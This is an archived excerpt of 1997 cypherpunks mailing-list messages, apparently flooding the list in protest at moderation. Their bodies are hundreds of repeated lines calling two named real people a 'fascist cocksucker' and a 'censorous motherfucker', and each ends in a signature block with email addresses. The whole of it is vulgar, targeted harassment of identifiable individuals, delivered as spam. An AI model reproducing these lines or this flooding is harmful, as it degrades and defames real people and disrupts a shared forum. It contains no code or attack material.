Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:30:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770888.520812.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:31:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771139.522992.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
